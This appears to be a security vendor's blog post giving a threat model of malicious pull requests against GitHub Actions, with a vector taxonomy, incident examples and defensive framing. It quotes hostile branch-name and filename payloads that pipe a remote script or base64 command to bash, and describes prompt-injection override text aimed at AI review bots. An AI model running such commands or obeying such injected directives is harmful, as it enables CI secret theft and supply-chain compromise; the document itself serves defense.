Malicious Pull Requests: A Threat Model
Table of Contents
A survey of publicly documented malicious-PR campaigns against GitHub Actions, compiled into a threat model. Covers the attacker, assets at risk, the attacker’s controllable surface, and a vector taxonomy. Reflects the landscape as of mid-2026.
Update May 2026: We have seen a large scale compromise of 400+ popular packages such as @tanstack/* and @mistralai via malicious pull requests.
On May 11, 2026, a GitHub user zblgg opened PR #7378 against TanStack Router from a fork. The PR triggered a
pull_request_targetworkflow that checked out the attacker’s code and ran it in the base repository’s context. Each push to the PR branch wrote a poisoned pnpm store to the shared GitHub Actions cache. When TanStack’s release pipeline later restored that cache, the malicious payload executed. The attacker then force-pushed the branch to match main HEAD (leaving 0 changes visible) and deleted it.This was the V5 attack vector we talked about in this very article.
Read TanStack Blog about the incident and our Cache Poisoning blog.
Scope
External pull requests opened against repositories that run GitHub Actions. Covered: attacker, goals, assets at risk, controllable surface, vector taxonomy. Deferred: detection architecture.
Context
On a fork PR into a public repository, the default setting Require approval for outside contributors produces two parallel states:
- Check runs from installed GitHub Apps fire immediately on PR open.
- Workflow runs sit in
action_requireduntil a maintainer clicks Approve and run.
Attacker model
- Primary actor. Autonomous LLM-based agents (
hackerbot-clawstyle) operating at ecosystem scale. Observed: 16 PRs across 9 repositories in 4 days (Feb 27 to Mar 2, 2026), hitting Microsoft, Datadog, Aqua Security (Trivy), CNCF Akri, RustPython, awesome-go. - Secondary actor. Human supply-chain attacker targeting a single high-value project (Trivy). Indistinguishable from the bot at PR submission time.
- Capability. Opens PRs from a fork, controls every byte the PR carries, can comment. Cannot push to the base repository.
- Out of scope. Compromised maintainer accounts, insider threat, self-hosted runner escape, compromise of existing trusted actions.
Attacker goals
Ordered by observed frequency:
- Credential exfiltration from the CI runner.
GITHUB_TOKEN, npm / PyPI / cargo tokens, cloud credentials, SSH keys, registry tokens. tj-actions, s1ngularity / Nx, Trivy. - Repository write and tag poisoning. Force-push commits to tags, rename the repository, delete releases. Trivy: 75 of 76
trivy-actiontags and all 7setup-trivytags force-pushed. - Supply chain propagation via stolen package tokens. Shai-Hulud pattern. Attackers weaponised 64 npm packages within 24h of the Trivy compromise and republished 28
@emilgrouppackages in under 60s. - AI-review-bot hijack via prompt injection. The bot acts with its own GitHub token (modifies CODEOWNERS, mass-labels, pushes commits).
- Opportunistic crypto-mining or worm hosting on CI compute.
Assets at risk
GITHUB_TOKENissued to the workflow.pull_request_targetdefault scope:contents: write+pull_requests: write.- Repository secrets under
${{ secrets.* }}: cloud, registry, signing, cross-org PATs. actions/cacheentries scoped by ref and readable frommain.- Identity credentials of installed AI bots (Claude Code Action, Copilot, Devin).
- Downstream published artifacts (npm, PyPI, OCI, GitHub Releases) and every consumer pinning mutable tags.
Controllable surface
| Attacker controls | Stays trusted |
|---|---|
| PR diff: contents, paths, new files, deletions | Workflow files at main (pull_request_target reads base) |
| PR title, body, head branch name, head SHA | Repository secrets |
| Commit messages, unsigned author / committer names and emails | Branch protection on merge |
| PR comments | Triggers and jobs defined on the base repository |
Key asymmetry. An attacker cannot edit a workflow in their fork and have the edited version run on the PR under pull_request_target. They must find a vulnerable workflow already on main and feed it attacker-controlled input.
Attack-vector taxonomy
| # | Name | Mechanism | Pre-condition on the victim repo |
|---|---|---|---|
| V1 | Expression injection into run: | Attacker-controlled string (branch name, filename, PR title / body) interpolated via ${{ }} into a shell block. Bash evaluates $(...), ${IFS}. | Any workflow interpolating untrusted context into run:. |
| V2 | Pwn request (classic) | pull_request_target + checkout of PR head + build step (npm ci, make, go build, pytest). preinstall / Makefile / init() / conftest.py runs with secrets. | pull_request_target, checkout of untrusted ref, untrusted exec. |
| V3 | Lockfile / manifest poisoning | PR changes package-lock.json, go.sum, poetry.lock to pull a malicious version. Executes at install (V2) or post-merge for consumers. | Any CI step that installs dependencies. |
| V4 | Prompt injection against AI reviewer | PR body, issue body, CLAUDE.md, code comments carry override directives. Bot acts on them with its token. | A workflow invoking an AI reviewer on untrusted PR / issue text. |
| V5 | Cache poisoning | Fork-triggered workflow writes an actions/cache key later read by a privileged workflow on main. | Cache keys not scoped by github.ref or head SHA. |
| V6 | Workflow-file modification on merge | PR edits .github/workflows/*.yml. Activates on merge, or earlier via V2. | Maintainer merging without auditing workflow diffs. |
| V7 | Comment-triggered privileged workflow | /format, /test style trigger without author_association check. | on: issue_comment gated by regex, not role. |
| V8 | workflow_run chaining | Downstream workflow_run reads artifact / PR number from a PR-triggered run and acts on it with secrets without re-validating inputs. | Two-stage pull_request + workflow_run without input checks. |
V1, V2, V3 dominate observed attacks. V4 is growing with AI-review-bot adoption; Aikido classified a set of these as PromptPwnd. V5 through V8 are rarer and higher-impact when present. The foundational reference for V2 is GitHub SecurityLab’s 2021 Preventing pwn requests.
Three structural PR shapes
- Innocuous diff, payload in metadata. Trivial diff. Payload in the branch name, filename, or PR title. Examples:
dev$({curl,-sSfL,hackmoltrepeat.com/molt}${IFS}|${IFS}bash)(Microsoft AI Discovery, RustPython),$(echo${IFS}Y3VybC...|base64${IFS}-d|bash).md(Datadog IaC scanner). Relies on V1. - Helpful contribution, toxic payload. Legitimate-looking fix that adds
preinstall/postinstalltopackage.json, edits aMakefile, adds a Goinit(), or modifiesconftest.py. Relies on V2. - Prompt trap. PR body, issue body,
CLAUDE.mdedit, or code comment with “Ignore every previous instruction…” targeting Claude Code Action / Copilot / Devin. Relies on V4. Same class surveyed in the AI-native SDLC threat model.
Pre-approval observables
Observable before the Approve click:
- Full PR diff, file list, commit SHAs, messages, author emails, signature state.
- PR title, body, head branch name, head SHA.
- Base repository workflow files at
main. Enables static enumeration of which of V1 through V8 apply to this specific repo. - Author association and prior PR history.
- File-level risk flags: lockfile touched,
Makefileadded, workflow file edited,CLAUDE.mdmodified.
Not observable:
- Workflow runtime behaviour (nothing has run).
- Secret values.
- Outbound network activity.
- Whether the maintainer will approve, or when.
The check run has seconds to land before the Approve click.
Blast radius
- Contained. Secrets narrowly scoped, branch protection prevents tag force-push,
GITHUB_TOKENread-only. Attacker gains RCE on one runner, exits empty-handed. Datadog IaC scanner outcome. - Uncontained. Cross-org PAT in the runner, tags not guarded, release signing absent. Attacker exfiltrates the PAT, force-pushes tags, and within an hour ~10,000 downstream workflows resolve to attacker artifact. Package tokens weaponised shortly after. Trivy outcome.
Severity of the same exploit spans three orders of magnitude across these two postures. A useful severity model treats repository configuration as primary input.
Out of scope
- Self-hosted runner escapes.
- Compromised maintainer or insider.
- Post-merge tag poisoning (triggered by
pushto tags). - Classical source-code vulnerabilities in the PR (SAST / existing malysis territory).
Glossary
- Pwn request. A workflow triggered by an external PR that gains write access to the target repository and / or secrets while executing untrusted code. Term from GitHub SecurityLab, 2021.
pull_request_target. Actions trigger that runs with base-repo context, secrets, and a write-scopedGITHUB_TOKEN, regardless of which branch opened the PR. Intended for passive PR operations.action_required. GitHub conclusion state for a workflow run queued but blocked on maintainer approval. Never executes until approved.- Check run. A Checks API object created by a GitHub App, independent of Actions. Fires on PR open for installed Apps.
- Shai-Hulud. Worm campaign that exfiltrates npm publish tokens from CI and republishes trojanised packages across the registry.
References
- Preventing pwn requests, GitHub SecurityLab, 2021.
- When an AI agent came knocking, Datadog, 2026.
- Detecting malicious pull requests at scale with LLMs, Datadog, 2026.
- hackerbot-claw: AI-Powered Bot Exploiting GitHub Actions, StepSecurity, 2026.
- How JFrog’s AI-Research Bot Found OSS CI/CD Vulnerabilities, JFrog, 2026.
- Trivy Supply Chain Compromise, SafeDep, 2026.
- PromptPwnd in GitHub Actions and GitLab CI, Aikido, 2026.
- Managing GitHub Actions settings for a repository, GitHub Docs.
- supply-chain-security
- threat-model
- github-actions
- pull-request
- ci-cd
- security
- pwn-request
Author
Kunal Singh
safedep.io
Share
The Latest from SafeDep blogs
Follow for the latest updates and insights on open source security & engineering

Compromised node-ipc on npm: Credential Stealer via DNS Exfiltration
Analysis of compromised node-ipc versions 9.1.6, 9.2.3, and 12.0.1 on npm: a maintainer account takeover injects an 80KB obfuscated credential stealer that targets 100+ sensitive files (SSH keys,...

Cache Poisoning Through pull_request_target: The TanStack Incident
A GitHub user opened a PR against TanStack Router from a fork, poisoned the shared pnpm cache through a pull_request_target workflow, then force-pushed the branch clean. When the release pipeline...

Malicious npm Packages Backdoor Claude Code Sessions
Five typosquatting npm packages ship a hidden ELF binary that fires on install and re-runs via Claude Code's SessionStart hook on every developer session. C2 is 207.90.194.2:443.

Mass Supply Chain Attack Hits TanStack, Mistral AI npm and PyPI Packages
Over 400 compromised npm package versions and at least 2 PyPI packages published in a coordinated supply chain attack targeting TanStack, Mistral AI, UiPath, OpenSearch, guardrails-ai, and dozens of...

Ship Code.
Not Malware.
Start free with open source tools on your machine. Scale to a unified platform for your organization.
